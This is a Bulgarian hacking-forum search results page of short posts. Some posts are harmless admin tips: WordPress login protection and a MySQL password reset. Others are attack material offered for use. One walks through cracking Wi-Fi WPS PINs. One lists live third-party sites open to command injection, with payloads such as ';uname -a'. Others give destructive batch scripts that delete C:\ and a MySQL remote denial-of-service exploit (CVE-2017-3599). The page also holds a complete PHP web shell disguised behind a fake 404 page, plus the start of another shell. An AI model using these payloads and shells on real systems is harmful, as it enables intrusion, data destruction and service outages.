Jump to content
¯\_( ツ)_/¯
  • TAD GROUP are currently hiring penetration testers. Please read the topic in Career Central subforum.
  • Sponsored Ad

Search the Community

Showing results for tags 'from nullsecbg'.



More search options

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • За форума / About the forum
    • Условия за ползване, препоръки и работа с форумите
  • Информационна сигурност / Information Security
    • Пенетрейшън тестове
    • Тестове за социално инженерство
    • Експлойти
    • Инструменти
    • Вируси
    • Програмиране
    • Криптография
    • Сертифициране
    • След дъжд-качулка :)
    • Безжични мрежи, мобилни устройства и друг хардуер
    • Физическа сигурност
  • Ресурси / Resources
    • Новини: По света и у нас
    • Уроци
    • Състезания за хакери
    • Книги, филми, списания
    • Интересни събития
  • Други / Others
    • Кариерно развитие
    • Продавалник (Купува/Продава, Търси/Предлага)
    • Съответствие, наредби и стандарти
    • Уеб дизайн
    • Оф-топик
  • TAD GROUP's Careers
  • Old school hackers's Topics
  • BG-Soft's Регистриране на крайни приложения
  • BG-Soft's Как и къде да продаваме крайни приложеня
  • BG-Soft's Инструменти за изграждане на крайни приложения
  • BG-Soft's Полезни съвети
  • Assembly x86's Какво е асембли и защо трябва да ни интересува?

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


About Me

Found 29 results

  1. пускайте ги по този начин тук ще пробвам да краквам Example : 098f6bcd4621d373cade4e832627b4f6 : md5
  2. Ако не сте разбрали даден урок или просто искате да се направи урок за нещо дето искате да научите пишете тук ще отделям време за да ви ги направя.
  3. Реших да направя този урок новите потребители между нас във тая сфера. Прочети внимателно и следвай стъпките за да бъдеш успешен Какво е WPS WPS означава Wi-Fi Protected Setup, стандартна функция, достъпна за много домашни широколентови маршрутизатори от 2007 г. WPS опростява процеса на създаване на защитени връзки за различните Wi-Fi устройства, които се свързват с домашните маршрутизатори(Routers), но някои рискове за сигурността на WPS Технологията изисква внимание. 1 - Свали : https://ufile.io/qwcko VirusTotal : https://www.virustotal.com/en/file/a7278325bc05b8e68c144b0d591c3f450b77eb9dbf4734172717bfa45699980b/analysis/1493731180/ 2 - Вътре имате 2 апликаций : Dumper.exe - JumpStart Little 3 - Инсталирайте JumpStart 4 - Отворете Dumper.exe и изберете Network Adapter при мен е Realtek RTL8187 Wireless 802.11 натиснете скан. 5 - Отидете на WPS долу ви изписва "Scan" натиснете го 1 път и изчакайте след като сканира и ви извади мрежите погледнете тази снимка от страни пише PIN тези който са на Locked няма смисъл да ги пробвате защото това означава че WPS е заключен и няма да получите паролата на мрежата която искате да кракнете. Мрежите който имат 8 цифрен код ще ги изпробвате когато натиснете върху WpsWin ще изпробва пин кода и ще ви изпише дали е успешен или неуспешен изглежда ето така : При успешно При неуспешно Относно JumpStart може да пробвате да се свържете към мрежата чрез пин кода но при мен това не се получи и за това го направих по моя начин който ви обясних. ето ви и едно клипче ако нещо не разберете по темата гледайте клипа
  4. Remote Code Execution Wiki : What is RCE ? Не работи по всеки сайт вече 80 % Fixed но ще дам и 1 2 сайта дето все още го имат Отворете 1 от линковете : http://studog.net/iptools/ping.php http://www.dnschangecheck.com/trace.php http://www.dnschangecheck.com/trace.php Please enter IP or Hostname Traceroute напишете примерно : ";uname -a" ";ls" ";id" и ще видите магията http://studog.net/iptools/ping.php Enter an IP address or Domain name to ping по същия начин ";uname -a" ";ls" ";id" и ще видите магията
  5. Отворете CMD като администратор и напишете следните команди : diskpart list disk (ще се появи лист със дисковете) select disk 1 (примерно) clean create partition primary select partition 1 active format quick fs=fat32 (Формат на избрания диск ) type assign exit
  6. Сканирано е : https://www.virustotal.com/en/file/1f58b6693c925a1e35896f6ffe6b46b20016a98262a2fc4186577b845ff1851c/analysis/ Download
  7. 5,000 празни папки? Отворете Notepad и напишете: @echo off :top md %random% Goto top Запаметете като name.bat Крашване на Windows : Отворете Notepad и напишете: @Echo off Del C:\ *.* y Запаметете като name.bat Рестартиране на компютъра Отворете Notepad и напишете: @echo off shutdown -r -f -t 00 Запаметете като name.bat Форматиране на хард диск Отворете Notepad и напишете: 010010110001111100100101010101010100000111111 00000 Запаметете като name.bat
  8. Паролата, която защитава вашия wp-login.php файл (и папката wp-admin) може да добави допълнителен слой към вашия сървър. Тъй като защитата с парола wp-admin може да счупи всеки плъгин, който използва ajax на предния край, обикновено е достатъчно просто да защитите wp-login. За да направите това, ще трябва да създадете файл .htpasswds. Много хостове имат инструменти за това, но ако трябва да го направите ръчно, можете да използвате този htpasswd генератор. Подобно на вашия .htaccess файл (който е файл, който е само разширение), .htpasswd няма да има префикс. Можете да поставите този файл извън публичната си уеб папка (т.е. не в / public_html / или /domain.com/, в зависимост от вашия хост) или да го поставите в същата папка, но ще трябва да направите някои допълнителни работи по сигурността във вашия .htaccess файл, ако го направите. Говорейки за това, след като качите файла .htpasswd, трябва да кажете на .htaccess къде е. Ако приемем, че сте поставили .htpasswd в домашната ви директория на потребителя и вашето потребителско име за htpasswd е myusername, трябва да го добавите във вашия .htaccess: # Stop Apache from serving .ht* files <Files ~ "^\.ht"> Order allow,deny Deny from all </Files> # Protect wp-login <Files wp-login.php> AuthUserFile ~/.htpasswd AuthName "Private access" AuthType Basic require user myusername </Files> Действителното местоположение на AuthUserFile зависи от вашия сървър, а "изискващият потребител" ще се промени във основа на това кое потребителско име изберете. Ако използвате Nginx, можете да защитите с парола файла wp-login.php чрез HttpAuthBasicModule. Този блок трябва да е във вашия сървър блок. location /wp-login.php { auth_basic "Administrator Login"; auth_basic_user_file .htpasswd; } Пътят на файла е относим към директорията на nginx конфигурационния файл nginx.conf Файлът трябва да бъде в следния формат: user:pass user2:pass2 user3:pass3 Паролите трябва да бъдат кодирани от функцията crypt (3). Можете да използвате онлайн генератор htpasswd, за да шифровате паролата си.
  9. <? class Cypher_dKe { var $data = array(); var $K = array( 0x493e0, 0x61a80, 0x7a120, 0x927c0, 0xaae60, 0xc3500, 0xdbba0, 0xf4240, 0x10c8e0, 0x124f80, 0x13d620, 0x155cc0, 0x16e360, 0x186a00, 0x19f0a0, 0x1b7740, 0x1cfde0, 0x1e8480, 0x200b20, 0x2191c0, 0x231860, 0x249f00, 0x2625a0, 0x27ac40, 0x2932e0, 0x2ab980, 0x2c4020, 0x2dc6c0, 0x2f4d60, 0x30d400, 0x325aa0, 0x33e140, 0x3567e0, 0x36ee80, 0x387520, 0x39fbc0, 0x3b8260, 0x3d0900, 0x3e8fa0, 0x401640, 0x419ce0, 0x432380, 0x44aa20, 0x4630c0, 0x47b760, 0x493e00, 0x4ac4a0, 0x4c4b40, 0x4dd1e0, 0x4f5880, 0x50df20, 0x5265c0, 0x53ec60, 0x557300, 0x56f9a0, 0x588040, 0x5a06e0, 0x5b8d80, 0x5d1420, 0x5e9ac0, 0x602160, 0x61a800, 0x632ea0, 0x64b540, 0x663be0, 0x67c280, 0x694920, 0x6acfc0, 0x6c5660, 0x6ddd00, 0x6f63a0, 0x70ea40, 0x7270e0, 0x73f780, 0x757e20, 0x7704c0, 0x788b60, 0x7a1200, 0x7b98a0, 0x7d1f40, 0x7ea5e0, 0x802c80, 0x81b320, 0x8339c0, 0x84c060, 0x864700, 0x87cda0, 0x895440, 0x8adae0, 0x8c6180, 0x8de820, 0x8f6ec0, 0x90f560, 0x927c00, 0x9402a0, 0x958940, 0x970fe0, 0x989680, 0x9a1d20, 0x9ba3c0, 0x9d2a60, 0x9eb100, 0xa037a0, 0xa1be40, 0xa344e0, 0xa4cb80, 0xa65220, 0xa7d8c0, 0xa95f60, 0xaae600, 0xac6ca0, 0xadf340, 0xaf79e0, 0xb10080, 0xb28720, 0xb40dc0, 0xb59460, 0xb71b00, 0xb8a1a0, 0xba2840, 0xbbaee0, 0xbd3580, 0xbebc20, 0xc042c0, 0xc1c960, 0xc35000, 0xc4d6a0, 0xc65d40, 0xc7e3e0, 0xc96a80, 0xcaf120, 0xcc77c0, 0xcdfe60, 0xcf8500, 0xd10ba0, 0xd29240, 0xd418e0, 0xd59f80, 0xd72620, 0xd8acc0, 0xda3360, 0xdbba00, 0xdd40a0, 0xdec740, 0xe04de0, 0xe1d480, 0xe35b20, 0xe4e1c0, 0xe66860, 0xe7ef00, 0xe975a0, 0xeafc40, 0xec82e0, 0xee0980, 0xef9020, 0xf116c0, 0xf29d60, 0xf42400, 0xf5aaa0, 0xf73140, 0xf8b7e0, 0xfa3e80, 0xfbc520, 0xfd4bc0, 0xfed260, 0x1005900, 0x101dfa0, 0x1036640, 0x104ece0, 0x1067380, 0x107fa20, 0x10980c0, 0x10b0760, 0x10c8e00, 0x10e14a0, 0x10f9b40, 0x11121e0, 0x112a880, 0x1142f20, 0x115b5c0, 0x1173c60, 0x118c300, 0x11a49a0, 0x11bd040, 0x11d56e0, 0x11edd80, 0x1206420, 0x121eac0, 0x1237160, 0x124f800, 0x1267ea0, 0x1280540, 0x1298be0, 0x12b1280, 0x12c9920, 0x12e1fc0, 0x12fa660, 0x1312d00, 0x132b3a0, 0x1343a40, 0x135c0e0, 0x1374780, 0x138ce20, 0x13a54c0, 0x13bdb60, 0x13d6200, 0x13ee8a0, 0x1406f40, 0x141f5e0, 0x1437c80, 0x1450320, 0x14689c0, 0x1481060, 0x1499700, 0x14b1da0, 0x14ca440, 0x14e2ae0, 0x14fb180, 0x1513820, 0x152bec0, 0x1544560, 0x155cc00, 0x15752a0, 0x158d940, 0x15a5fe0, 0x15be680, 0x15d6d20, 0x15ef3c0, 0x1607a60, 0x1620100, 0x16387a0, 0x1650e40, 0x16694e0, 0x1681b80, 0x169a220, 0x16b28c0, 0x16caf60, 0x16e3600, 0x16fbca0, 0x1714340, 0x172c9e0, 0x1745080, 0x175d720, 0x1775dc0, 0x178e460, 0x17a6b00, 0x17bf1a0, 0x17d7840, 0x17efee0, 0x1808580, 0x1820c20, 0x18392c0, 0x1851960, 0x186a000, 0x18826a0, 0x189ad40, 0x18b33e0, 0x18cba80, 0x18e4120, 0x18fc7c0, 0x1914e60, 0x192d500, 0x1945ba0, 0x195e240, 0x19768e0, 0x198ef80, 0x19a7620, 0x19bfcc0, 0x19d8360, 0x19f0a00, 0x1a090a0, 0x1a21740, 0x1a39de0, 0x1a52480, 0x1a6ab20, 0x1a831c0, 0x1a9b860, 0x1ab3f00, 0x1acc5a0, 0x1ae4c40, 0x1afd2e0, 0x1b15980, 0x1b2e020, 0x1b466c0, 0x1b5ed60, 0x1b77400, 0x1b8faa0, 0x1ba8140, 0x1bc07e0, 0x1bd8e80, 0x1bf1520, 0x1c09bc0, 0x1c22260, 0x1c3a900, 0x1c52fa0, 0x1c6b640, 0x1c83ce0, 0x1c9c380, 0x1cb4a20, 0x1ccd0c0 ); var $ret = false; function dkcypher($param = false) { return true; } function encrypt($string) { $this->data['char'] = array(); $this->data['cypher'] = array(); $this->data['length'] = strlen($string); if(($this->data['length'] % 2) == 1) { $string .= chr( 0x00 ); $this->data['length'] += 1; } for($i = 0; $i < $this->data['length']; $i++) $this->data['char'][] = base_convert( ord( $string{$i} ), 10, 8); for($i = 0; $i < $this->data['length']; $i++) { $L = $this->data['char'][$i]; $R = $this->data['char'][$this->data['length'] - $i - 1]; for($j = 0; $j < 300; $j++) { $L ^= $this->K[$j]; $R ^= $this->K[$j]; } $this->data['cypher'][$i] = $L; $this->data['cypher'][$this->data['length'] - $i - 1] = $R; } $this->ret = false; for($i = 0; $i < $this->data['length']; $i++) { $this->ret .= ( chr( substr( $this->data['cypher'][$i], 0, 2) ) ^ '&' ); $this->ret .= ( chr( substr( $this->data['cypher'][$i], 2, 2) ) ^ '%' ); $this->ret .= ( chr( substr( $this->data['cypher'][$i], 4, 2) ) ^ '$' ); $this->ret .= ( chr( substr( $this->data['cypher'][$i], 6, 2) ) ^ '?' ); } return $this->ret; } function decrypt($string) { $this->data['char'] = array(); $this->data['length'] = strlen($string); $this->data['dlength'] = 0; $this->data['decypher'] = array(); $this->data['decypher']['char'] = array(); $this->data['decypher']['string'] = false; for($i = 0; $i < $this->data['length']; $i += 4) { $this->data['char'][] = $string{$i} ^ '&'; $this->data['char'][] = $string{$i+1} ^ '%'; $this->data['char'][] = $string{$i+2} ^ '$'; $this->data['char'][] = $string{$i+3} ^ '?'; } for($i = 0; $i < $this->data['length']; $i += 4) { $s1 = ord( $this->data['char'][$i] ); $s2 = ord( $this->data['char'][$i+1] ); $s3 = ord( $this->data['char'][$i+2] ); $s4 = ord( $this->data['char'][$i+3] ); $s1 = ( $s1 < 10 ) ? ( '0' . $s1 ) : $s1; $s2 = ( $s2 < 10 ) ? ( '0' . $s2 ) : $s2; $s3 = ( $s3 < 10 ) ? ( '0' . $s3 ) : $s3; $s4 = ( $s4 < 10 ) ? ( '0' . $s4 ) : $s4; $this->data['decypher']['char'][] = $s1 . $s2 . $s3 . $s4 ; } $this->data['dlength'] = count($this->data['decypher']['char']); $this->data['char'] = array(); for($i = 0; $i < $this->data['dlength']; $i++) { $L = $this->data['decypher']['char'][$i]; $R = $this->data['decypher']['char'][$this->data['dlength'] - $i - 1]; for($j = 0; $j < 300; $j++) { $L ^= $this->K[$j]; $R ^= $this->K[$j]; } $this->data['char'][$i] = $L; $this->data['char'][$this->data['dlength'] - $i - 1] = $R; } $this->ret = false; for($i = 0; $i < $this->data['dlength']; $i++) $this->ret .= chr ( base_convert( $this->data['char'][$i], 8, 10) ); return $this->ret; } } $dKe = new Cypher_dKe(); ?>
  10. <?php define("PRE","1zA$");//Sel define("POST","%yU1"); class Secure { /** * Crypt Password * @param ClearText PW * @return Crypted PW */ public static function hash($password){ return hash("whirlpool", PRE . $password . POST); } } $hash1 = Secure::hash("mdp"); echo $hash1 . "<br \>" . strlen($hash1) . "<br \>"; $hash2 = Secure::hash("long password"); echo $hash2 . "<br \>" . strlen($hash2); ?>
  11. Влезте като root и спрете MySQL Server Daemon # /etc/init.d/mysql stop Стартирайте MySQL сървъра без парола. # mysqld_safe --skip-grant-tables & Свържете се с MySQL сървъра, като използвате MySQL клиента. # mysql -u root Задайте нова потребителска парола за MySQL, като въведете следните четири командата. Не забравяйте да промените "newpw" на желаната от вас парола. mysql> use mysql; mysql> update user set password=PASSWORD("newpw") where User='root'; mysql> flush privileges; mysql> quit Спрете MySQL сървъра. # /etc/init.d/mysql stop Сега стартирайте MySQL сървъра. # /etc/init.d/mysql start Тествайте, за да сте сигурни, че вашата нова MySQL root парола работи. mysql -u root -p
  12. ''' # Source: https://raw.githubusercontent.com/SECFORCE/CVE-2017-3599/master/cve-2017-3599_poc.py # Exploit Title: Remote MySQL DOS (Integer Overflow) # Google Dork: N/A # Date: 13th April 2017 # Exploit Author: Rodrigo Marcos # Vendor Homepage: https://www.mysql.com/ # Software Link: https://www.mysql.com/downloads/ # Version: 5.6.35 and below / 5.7.17 and below # Tested on: N/A # CVE : CVE-2017-3599 ''' import socket import sys from struct import pack ''' CVE-2017-3599 Proof of Concept exploit code. https://www.secforce.com/blog/2017/04/cve-2017-3599-pre-auth-mysql-remote-dos/ Rodrigo Marcos ''' if len(sys.argv)<2: print "Usage: python " + sys.argv[0] + " host [port]" exit(0) else: HOST = sys.argv[1] if len(sys.argv)>2: PORT = int(sys.argv[2]) # Yes, no error checking... living on the wild side! else: PORT = 3306 print "[+] Creating packet..." ''' 3 bytes Packet lenth 1 bytes Packet number Login request: Packet format (when the server is 4.1 or newer): Bytes Content ----- ---- 4 client capabilities 4 max packet size 1 charset number 23 reserved (always 0) n user name, \0-terminated n plugin auth data (e.g. scramble), length encoded n database name, \0-terminated (if CLIENT_CONNECT_WITH_DB is set in the capabilities) n client auth plugin name - \0-terminated string, (if CLIENT_PLUGIN_AUTH is set in the capabilities) ''' # packet_len = '\x64\x00\x00' packet_num = '\x01' #Login request packet packet_cap = '\x85\xa2\xbf\x01' # client capabilities (default) packet_max = '\x00\x00\x00\x01' # max packet size (default) packet_cset = '\x21' # charset (default) p_reserved = '\x00' * 23 # 23 bytes reserved with nulls (default) packet_usr = 'test\x00' # username null terminated (default) packet_auth = '\xff' # both \xff and \xfe crash the server ''' Conditions to crash: 1 - packet_auth must start with \xff or \xfe 2 - packet_auth must be shorter than 8 chars The expected value is the password, which could be of two different formats (null terminated or length encoded) depending on the client functionality. ''' packet = packet_cap + packet_max + packet_cset + p_reserved + packet_usr + packet_auth packet_len = pack('i',len(packet))[:3] request = packet_len + packet_num + packet print "[+] Connecting to host..." try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) print "[+] Connected." except: print "[+] Unable to connect to host " + HOST + " on port " + str(PORT) + "." s.close() print "[+] Exiting." exit(0) print "[+] Receiving greeting from remote host..." data = s.recv(1024) print "[+] Done." print "[+] Sending our payload..." s.send(request) print "[+] Done." #print "Our data: %r" % request s.close()
  13. Чрез CMD : netsh wlan show profile name="nameofyournetwork" key=clear Пример : netsh wlan show profile name="linuxmaster" key=clear
  14. Примерери GET HWID Imports System.Management Public Class Form1 Private Sub Button1_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click Dim cpuInfo As String = String.Empty Dim mc As New ManagementClass("win32_processor") Dim moc As ManagementObjectCollection = mc.GetInstances() For Each mo As ManagementObject In moc If cpuInfo = "" Then cpuInfo = mo.Properties("processorID").Value.ToString() Exit For End If Next TextBox1.Text = cpuInfo End Sub End Class USE HWID Imports System.Management Public Class Form1 Public hwid As String = "yourhwid" Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load Dim cpuInfo As String = String.Empty Dim mc As New ManagementClass("win32_processor") Dim moc As ManagementObjectCollection = mc.GetInstances() For Each mo As ManagementObject In moc If cpuInfo = "" Then cpuInfo = mo.Properties("processorID").Value.ToString() Exit For End If Next If cpuInfo <> hwid Then MsgBox("Bad HWID verification, application will close") Application.Exit() End If End Sub End Class
  15. терминал който изпълнява "Bash" команди <?php session_start(); $pass = "nullsecurity"; $aliases = array('la' => 'ls -la', 'll' => 'ls -alvhF', 'dir' => 'ls'); $banner = <<<EOF <body style="background:#000000"> <font color="white"><center><p style='text-decoration: blink'> _ _ _ _ ____ _ _ | \ | |_ _| | / ___| ___ ___ _ _ _ __(_) |_ _ _ | \| | | | | | \___ \ / _ \/ __| | | | '__| | __| | | |</font> <font color="green"> | |\ | |_| | | |___) | __/ (__| |_| | | | | |_| |_| | |_| \_|\__,_|_|_|____/ \___|\___|\__,_|_| |_|\__|\__, | |___/ ____ _ _ | __ ) _ _| | __ _ __ _ _ __(_) __ _ | _ \| | | | |/ _` |/ _` | '__| |/ _` |</font> <font color="red">| |_) | |_| | | (_| | (_| | | | | (_| | |____/ \__,_|_|\__, |\__,_|_| |_|\__,_| |___/ PHP Terminal v0.3 by LinuxMaster<br><br> ------------------------------------------------------------------------------------------------</font></center></p> <br /> <hr /> EOF; $footer = <<<EOF <center><b><font color="yellow">NullSecurity BULGARIA</font></b></center> EOF; if(isset($_GET['help'])) { ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <div style="width: 90%; overflow: scroll; overflow-x: visible; height: 365px;"> <title>NullSecurity PHP Terminal #help</title> <style type="text/css"> a { text-decoration: none; } body { font-size: 14px; } </style> </head> <body> <pre> <?php echo $banner; ?> <font color="#0194D2"> <h2>Sign in</h2> From URL bar set <i>$_GET</i> variable <b>pass</b> which is equal to your predefined password in php file. Example: <b><?php echo $_SERVER['PHP_SELF']; ?>?pass=</b><i>nullsecurity</i> <h2>Reporting bugs/suggestions</h2> For reporting bugs and/or suggestions write a topic to our <a href="http://nsc-bg.org">forum</a>. <h2>Usage</h2> Like SSH but more primitive. :( <h2>Built-in commands</h2> <b>clear</b> - clearing the output. <b>help</b> - redirecting you to help page (e.g. here). <b>logout</b> - use for logging out, after that you will be redirected to fake 404 page. <b>editfile</b> <i>./dir/somefile.php</i> - simple text editor tool <a href="<?php echo $_SERVER['PHP_SELF']; ?>">Go back...</a> </font> </pre> <hr /> <center><?php echo $footer; ?></center> </body> </html> <?php exit; } if(isset($_GET['pass']) && $_GET['pass'] == $pass) { setcookie("pass", $_GET['pass'], time() + 3600); header("Location: ".$_SERVER['PHP_SELF']); if(empty($_SESSION['output'])) { $_SESSION['output'] = ""; $_SESSION['history'] = array(); $_SESSION['user'] = rtrim(shell_exec("whoami")); $_SESSION['host'] = rtrim(shell_exec("hostname")); $_SESSION['cwd'] = rtrim(getcwd()); $_SESSION['jshistory'] = ""; } exit; } if(isset($_COOKIE['pass']) && $_COOKIE['pass'] == $pass) { if(isset($_GET['editfile']) && !empty($_GET['editfile'])) { if(isset($_POST['file'])) { $file = fopen($_GET['editfile'], "w"); if(!$file) { $message = "cant write to file: ".$_GET['editfile']; } else { fwrite($file, $_POST['file']); fclose($file); $message = "saved file: ".$_GET['editfile']; } } $file = fopen($_GET['editfile'], "r"); $dontread = false; if(!$file) { $dontread = true; $message = "cant write to file: ".$_GET['editfile']; } ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>php terminal #editing file <?php echo $_GET['editfile']; ?></title> <script type="text/javascript"> function init() { document.term.file.focus(); } </script> <style type="text/css"> a { text-decoration: none; } body { font-size: 14px; } input, textarea { display: block; } input { margin-bottom: 10px; } textarea { background-color: #000000; border-bottom: 0px solid #0194D2; border-radius: 3px; color: #0194D2; display: block; height: 365px; margin-bottom: 21px; padding: 25px; resize: none; width: 90%; -moz-box-shadow:0 0 5px 2px #0194D2; -webkit-box-shadow:0 0 5px 2px #0194D2; box-shadow:0 0 5px 2px #0194D2; } </style> </head> <body> <h2>editing file <?php echo $_GET['editfile']; ?></h2> <?php if(!empty($message)) { echo "<h3>".$message."</h3>"; } ?> <form name="term" action="<?php echo $_SERVER['PHP_SELF']."?editfile=".$_GET['editfile'];?>" method="post"> <input type="submit" name="submit" value="Save" /> <textarea name="file" rows="25" cols="25"> <?php if(!($dontread)) { echo fread($file, filesize($_GET['editfile'])); } ?> <a href="<?php echo $_SERVER['PHP_SELF'];?>">Go back...</a> </form> <hr /> <center><?php echo $footer; ?></center> </body> </html> <?php fclose($file); exit; } if(!empty($_REQUEST['input'])) { if(get_magic_quotes_gpc()) { $_REQUEST['input'] = stripslashes($_REQUEST['input']); } if(($i = array_search($_REQUEST['input'], $_SESSION['history'])) !== false) { unset($_SESSION['history'][$i]); } array_unshift($_SESSION['history'], $_REQUEST['input']); $_SESSION['output'] .= $_SESSION['user']."@".$_SESSION['host'].":".$_SESSION['cwd']."$ ".$_REQUEST['input']."\n"; } if(empty($_SESSION['history'])) { $_SESSION['jshistory'] = '""'; } else { $escaped = array_map('addslashes', $_SESSION['history']); $_SESSION['jshistory'] = '"", "' . implode('", "', $escaped) . '"'; } if(@$_REQUEST['input'] == "clear") { $_SESSION['output'] = ""; } else if(@$_REQUEST['input'] == "help") { header("Location: ".$_SERVER['PHP_SELF']."?help"); exit; } else if(@$_REQUEST['input'] == "logout") { setcookie("pass", ""); header("Location: ".$_SERVER['PHP_SELF']); $_SESSION['output'] = ""; $_SESSION['history'] = array(); $_SESSION['user'] = ""; $_SESSION['host'] = ""; $_SESSION['cwd'] = ""; $_SESSION['jshistory'] = ""; exit; } else if(ereg('^[[:blank:]]*editfile[[:blank:]]+([^;]+)$', @$_REQUEST['input'], $regs)) { if(substr($regs[1], 0, 1) == "/") { $path = $regs[1]; } else { $path = $_SESSION['cwd']."/".$regs[1]; } if(file_exists($path)) { header("Location: ".$_SERVER['PHP_SELF']."?editfile=".$path); exit; } else { $_SESSION['output'] .= "cant access/not found: ".$regs[1]."\n"; } } else if(@$_REQUEST['input'] == "cd" || @$_REQUEST['input'] == "cd ~") { $_SESSION['cwd'] = getcwd(); } else if(ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', @$_REQUEST['input'], $regs)) { if(substr($regs[1], 0, 1) == "/") { $path = $regs[1]; } else { $path = $_SESSION['cwd']."/".$regs[1]; } if(@chdir($path)) { $_SESSION['cwd'] = getcwd(); } else { $_SESSION['output'] .= "could not change to: ".$regs[1]."\n"; } } else { chdir($_SESSION['cwd']); $length = strcspn(@$_REQUEST['input'], " \t"); $token = substr(@$_REQUEST['input'], 0, $length); if(isset($aliases[$token])) { $_REQUEST['input'] = $aliases[$token].substr($_REQUEST['input'], $length); } $p = proc_open(@$_REQUEST['input'], array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io); while(!feof($io[1])) { $_SESSION['output'] .= htmlspecialchars(fgets($io[1]), ENT_COMPAT, 'UTF-8'); } while(!feof($io[2])) { $_SESSION['output'] .= htmlspecialchars(fgets($io[2]), ENT_COMPAT, 'UTF-8'); } fclose($io[1]); fclose($io[2]); proc_close($p); } ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>php terminal</title> <script type="text/javascript"> var line = 0; var chistory = new Array(<?php echo $_SESSION['jshistory']; ?>); function key(e) { if(!e) { var e = window.event; } if(e.keyCode == 38 && line < chistory.length - 1) { chistory[line] = document.term.input.value; line++; document.term.input.value = chistory[line]; } if(e.keyCode == 40 && line > 0) { chistory[line] = document.term.input.value; line--; document.term.input.value = chistory[line]; } } function init() { window.scrollTo(0, document.body.scrollHeight); document.term.setAttribute("autocomplete", "off"); document.term.input.focus(); } </script> <style type="text/css"> body { font-size: 15px; } input { width: 50%; height: 50%; margin-left: 1px; border: 0px; border-radius: 3px; -moz-box-shadow:0 0 2px 1px #0194D2; -webkit-box-shadow:0 0 2px 1px #0194D2; box-shadow:0 0 2px 1px #0194D2; } </style> </head> <body onload="init()"> <pre> <?php echo $banner; ?> <font color="#0194D2"> Type <b>clear</b> to clear the output, or type <b>help</b> to view help information. To quit type <b>logout</b>, after that you will be redirected to fake 404 page. <p><?php echo $_SESSION['output']; ?></pre> <form name="term" action="<?php echo $_SERVER['PHP_SELF'];?>" method="post"></p><br> <hr /> <br /> <font color='red'><b><?php echo $_SESSION['user']."@".$_SESSION['host'].":".$_SESSION['cwd']."$"; ?></font></b> <input type="text" name="input" onkeyup="key(event)" /> </form> <br /> <hr /> <center><?php echo $footer; ?></center></font> </body> </html> <?php } else { header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found"); ?> <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL <?php echo $_SERVER['PHP_SELF']; ?> was not found on this server.</p> <hr> <address><?php echo $_SERVER['SERVER_SIGNATURE']; ?></address> </body></html></div> <?php } ?></textarea></div>
  16. Функцйи : Терминал изпълняващ "BASH" команди като id , uname -a , ls etc. Сървър информация. <!-- PHP CODE --> <?php session_start(); ?> <?php //Start Timer $a = explode(" ",microtime()); $StartTime = $a[0] + $a[1]; //Bot Version and Information $ver = "1.0"; $phpv = @phpversion(); $prefix = " - "; $suffix = NULL; $safemodestatus = SafeModeStatus(); $a = explode(" ",microtime()); $EndTime = substr($a[0] + $a[1] - $StartTime,0,6); //SafeMode Status function SafeModeStatus(){ if(function_exists("ini_get") and is_callable("ini_get")) if(ini_get('safe_mode') == "1" or strtoupper(ini_get('safe_mode')) == "ON") return "<span style=\"color:red;font-weight:Bold;\">On</span>"; else return "<span style=\"color:green;font-weight:Bold;\">Off</span>"; else return "<span style=\"color:gray;font-weight:Bold;\">Unknown</span>"; } function OpenBaseDirStatus(){ if(function_exists("ini_get") and is_callable("ini_get")) if(strlen(ini_get('open_basedir')) > 3) return "<span style=\"color:red;font-weight:Bold;\">On</span>"; else return "<span style=\"color:green;font-weight:Bold;\">Off</span>"; else return "<span style=\"color:gray;font-weight:Bold;\">Unknown</span>"; } function Details(){ $result = "<h2>Server Information</h2>"; $result .= "<span class=\"ServerInfoTitle\"><b>Safe Mode:</b></span> ".SafeModeStatus()."<br />\n"; $result .= "<span class=\"ServerInfoTitle\"><b>Open BaseDir:</b></span> ".OpenBaseDirStatus()."<br />\n"; $os = @php_uname(); $Functions = array( "PHP Version" => "phpversion", "PHP Logo Guid" => "php_logo_guid", "PHP Sapi Name" => "php_sapi_name", "Zend Version" => "zend_version", "Zend Logo Guid" => "zend_logo_guid", "Apache Version" => "apache_get_version", "Current User" => "get_current_user", "Current Gid" => "getmygid", "Current Uid" => "getmyuid", "Current Pid" => "getmypid", "Current Inode" => "getmyinode", "Operation System Info" => "php_uname", ); foreach($Functions as $desc=>$func) if(function_exists($func) and is_callable($func)) $result .= "<span class=\"ServerInfoTitle\"><b>".$desc.":</b></span> ".@$func()."<br />\n"; //Operation System Name if(defined("PHP_OS")){ $result .= "<span class=\"ServerInfoTitle\"><b>Operation System:</b></span> ".PHP_OS."<br />\n"; $os = PHP_OS; } //Server Software if(isset($_SERVER['SERVER_SOFTWARE']) and strlen($_SERVER['SERVER_SOFTWARE']) > 0) $result .= "<span class=\"ServerInfoTitle\"><b>Server Software:</b></span> ".$_SERVER['SERVER_SOFTWARE']."<br />\n"; //Server IP $result .= "<span class=\"ServerInfoTitle\"><b>Server IP Address:</b></span> ".$_SERVER['SERVER_ADDR']."<br />\n"; //Loaded Modules if(function_exists("apache_get_modules") and is_callable("apache_get_modules")){ $result .= "<span class=\"ServerInfoTitle\"><b><u>Loaded Modules:</u></b></span>"; $count_modules = 0; foreach(apache_get_modules() as $module){ $result .= $module; 